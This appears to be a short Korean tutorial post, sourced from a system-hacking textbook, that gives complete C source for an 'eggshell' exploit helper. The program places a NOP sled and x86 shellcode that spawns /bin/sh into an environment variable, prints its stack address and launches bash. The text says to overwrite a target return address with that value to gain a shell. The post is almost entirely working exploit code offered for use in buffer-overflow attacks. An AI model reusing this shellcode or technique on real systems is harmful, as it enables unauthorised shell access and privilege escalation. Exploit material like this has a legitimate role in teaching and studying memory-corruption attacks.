[Tip] EggShell
환경 변수에 bash shell을 실행하는 Shell Code를 등록 한 뒤 주소를 출력 해주는 EggShell 코드입니다. 공격을 하고자 하는 위치에 EggShell 의 결과 주소값을 덮어 쓰면 쉘을 획득할 수 있습니다.
출처 : 문제 풀이로 배우는 시스템 해킹 테크닉
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90
char shellcode[] = "\x31\xc0\x31\xd2\xb0\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char * argv[])
{
char *ptr, *superSH;
char shAddr[DEFAULT_ADDR_SIZE + 1];
char cmdBuf[DEFAULT_BUFFER_SIZE];
long *addr_ptr, addr;
int offset = DEFAULT_OFFSET;
int i, supershLen = DEFAULT_SUPERDK_SIZE;
int chgDec[3];
if( !(superSH = malloc(supershLen)))
{
printf("Malloc() Failed \n");
exit(0);
}
addr = get_sp() - offset;
printf("Address : 0x%8x \n", addr);
ptr = superSH;
for(i = 0; i< supershLen - strlen(shellcode) - 1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i< strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
superSH[supershLen - 1] = '\0';
memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
putenv(superSH);
system("/bin/bash");
}